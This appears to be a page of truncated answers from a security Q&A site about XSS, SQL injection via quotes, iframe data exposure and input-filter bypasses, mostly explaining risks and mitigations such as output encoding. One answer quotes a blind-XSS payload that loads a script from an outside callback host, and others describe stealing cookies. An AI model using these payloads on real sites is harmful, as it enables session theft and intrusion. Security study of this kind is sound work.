3
Imagine that the superSecretToken token was something retrieved from your service's server and was specific to the authenticated user. Or imagine that it was the user's bank balance.
Then any random webpage on the internet could embed your page in an iframe, and whenever someone visited the attacker's page and happened to be logged into your service, the ...
2
The editor is great for usability, but it should really be ignored when taking about security against XSS.
It's the sanitizer running on the server that needs to take care of ensuring security of injected HTML. No amount of fiddling in the browser is going to completely protect the user against unsanitized input if you need to mix in HTML (OTOH, if you just ...
2
With XSS (no matter if DOM based or reflected or stored, and no matter if done using eval or in other ways) attacker controlled Javascript is called inside the browser of the victim within the context of the victims current session.
This script can thus interact with the server through the browser the same way the user could interact with the server through ...
2
I agree with @BBerastegui, whenever you have an input filter, the first thing you want to do is load an external script so that you are not restricted anymore.
I'll assume that that's not possible (eg because of a CSP). You can still steal the cookie or perform other actions.
Second, whenever there is a ' symbol, any comment after it is ignored.
That's ...
1
You are correct. The update statement containing the single quotation mark would be broken due to the termination of the name's value and the ad hoc nature on the update. It is surprising that errors aren't occurring since the extra text after the closing of the single quotation isn't valid SQL.
I have set up an example of both of these cases (as SELECTs ...
1
// is just the start of a protocol-relative URL. From this site, //google.com would take you to https://google.com. From a plain old http site, //google.com would take you to http://google.com (which would likely bounce you to the https site, but that's not tangential).
The tag itself will set your relative URL interpretation to another domain. so with ...
1
Mitigations for XSS attacks are not typically restricted to input filtering as you’re describing and attempting, as you’re experiencing it’s like playing whackamole with possible filter bypasses. That’s why the Filter Evasion cheat sheet from OWASP exists.
Any untrusted input that’s reflected in a browser response needs to be output encoded. For example ...
1
No, this is not enough.
An attacker does not necessarily need to call an external script. They can dump the payload directly into the inline script too. Depending on the length restrictions in place, this can become quite tricky, but still manageable.
The main takeaway from this is that custom-made solutions are not very secure. Every now and then I see ...
1
A good resource for payloads in general is "payload all the things": https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection#blind-xss
I don't see why most of their blind XSS payloads wouldn't work for your target:
Are XML attributes parsed as HTML attributes?
<html:script src=//yoursubdomain.xss.ht>prompt(document.domain);...
Only top voted, non community-wiki answers of a minimum length are eligible
